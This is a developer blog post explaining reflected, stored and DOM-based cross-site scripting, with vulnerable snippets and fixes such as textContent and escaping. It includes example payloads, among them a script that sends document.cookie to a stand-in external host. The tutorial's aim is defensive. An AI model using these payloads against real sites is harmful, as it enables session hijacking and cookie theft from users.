DEV Community

Cover image for Understanding Cross-Site Scripting (XSS): A Quick Reference
Kaunda Rodgers
Kaunda Rodgers

Posted on

Understanding Cross-Site Scripting (XSS): A Quick Reference

Cross-Site Scripting (XSS) remains one of the most common web security vulnerabilities, ranking consistently in the OWASP Top 10. In this article, we'll dive deep into what XSS is, how attackers exploit it, and most importantly, how you can protect your applications.

What is Cross-Site Scripting?

Cross-Site Scripting occurs when attackers inject malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser, potentially stealing sensitive data, hijacking sessions, or defacing websites.

Real-World Example

Reflected XSS
This is the simplest form of cross-site scripting. It typically occurs when a website takes user input and displays it back immediately without proper sanitization. An example is a search page implementation that shows the client what they have searched for - if the website simply takes the search term and puts it directly on the page, it creates a vulnerability. For instance, if you have a search box and the website code displays the search term by embedding it in the inner html as below;

document.getElementById('results').innerHTML = 'You searched for: ' + userInput;
Enter fullscreen mode Exit fullscreen mode

This creates an html injection vulnerability in situations where userInput contains any special characters or HTML code. An attacker could enter malicious JavaScript like the one below into the search box.

<script>alert(document.cookie)</script> 
Enter fullscreen mode Exit fullscreen mode

Assigning the user input directly (in this case, out JavaScript code) to the innerHTML directly would cause the browser to interpret and render that HTML or execute the JavaScript, rather than displaying it as plain text. When this executes, it can steal user cookies or perform actions as the logged-in user. To prevent this, you should never directly insert user input into innerHTML. Instead, use textContent or innerText, which automatically handle the input as plain text:

document.getElementById('results').textContent = 'You searched for: ' + userInput;
Enter fullscreen mode Exit fullscreen mode

Main takeaways: Malicious script comes from the current HTTP request, typically delivered via malicious links, Non-persistent attack vector

Stored XSS
This other type of attack is even more dangerous considering that an attacker’s malicious code gets saved in the database, which can potentially affect a large number of users. For instance, if a website has implemented a simple comment system where users can leave comments on a blog post in such a way that the implementation allows for comment injection attacks. If the website directly displays user comments using the following HTML implementation;

<div class="comment"><!-- user comment here --></div>
Enter fullscreen mode Exit fullscreen mode

An attacker could inject a closing --> tag, breaking out of the comment, and potentially injecting HTML or JavaScript.

<div class="comment"><!-- --> <script>window.location='http://examplewebsite.com/?cookie='+document.cookie</script> <!-- --></div>

Enter fullscreen mode Exit fullscreen mode

It is possible for an attacker to submit a comment containing a js script that collects user session information such as cookies
In effect, every user who views the comments will have their cookies stolen. To prevent this, you should sanitize user input before storing it and escape it when displaying. In JavaScript, you can create a function that replaces special characters, which should be implemented and executed before the comments are displayed.

function sanitize(string) { return string.replace(/</g, '&lt;').replace(/>/g, '&gt;'); } 
Enter fullscreen mode Exit fullscreen mode

Main takeaways: Malicious script is stored on the target server, affects all users who visit the compromised page, the most dangerous form of XSS.

DOM-based XSS
This is another special type of attack since it happens entirely in the browser. A common example is when a website uses the URL fragment when they display their content. For example;

document.getElementById('welcome').innerHTML = location.hash.substring(1);
Enter fullscreen mode Exit fullscreen mode

In this case, the site is directly setting innerHTML to content derived from location.hash. This makes it possible for a hacker to craft a URL containing a malicious hash value such as the one below;

https://example.com#<img src=x onerror="alert(1)">
Enter fullscreen mode Exit fullscreen mode

Assigning this value to innerHTML makes the browser to interprets it as HTML, triggering the onerror event on the <img> tag, which would execute the alert('1') JavaScript. In a real-world attack, this could be used to execute much more harmful code.The fix is simple - never use innerHTML with user-controlled data. Instead, create elements properly:

const text = document.createTextNode(location.hash.substring(1)); document.getElementById('welcome').appendChild(text); 
Enter fullscreen mode Exit fullscreen mode

This ensures that any user input is treated as text, not code.

Main takeaways: Vulnerability exists in client-side code, exploits dynamic page modifications, independent of server-side code.

Modern frameworks like React and Vue automatically escape content by default, which is why they're recommended for building web applications. If you must handle HTML directly, always remember that user input should never be trusted and should always be treated as text rather than code. Using the built-in DOM methods like textContent and createTextNode is much safer than directly manipulating HTML strings.

Conclusion

Cross-Site Scripting (XSS) remains a significant security risk, yet it’s preventable with proper precautions. Always validate and never trust user inputs, encode outputs, apply security headers, and leverage security features in modern frameworks. Regular testing for vulnerabilities is essential. Since web security evolves continuously, staying updated on new threats and defense mechanisms is crucial. What security practices do you follow to protect your applications? Share your experiences in the comments!

Resources

Top comments (0)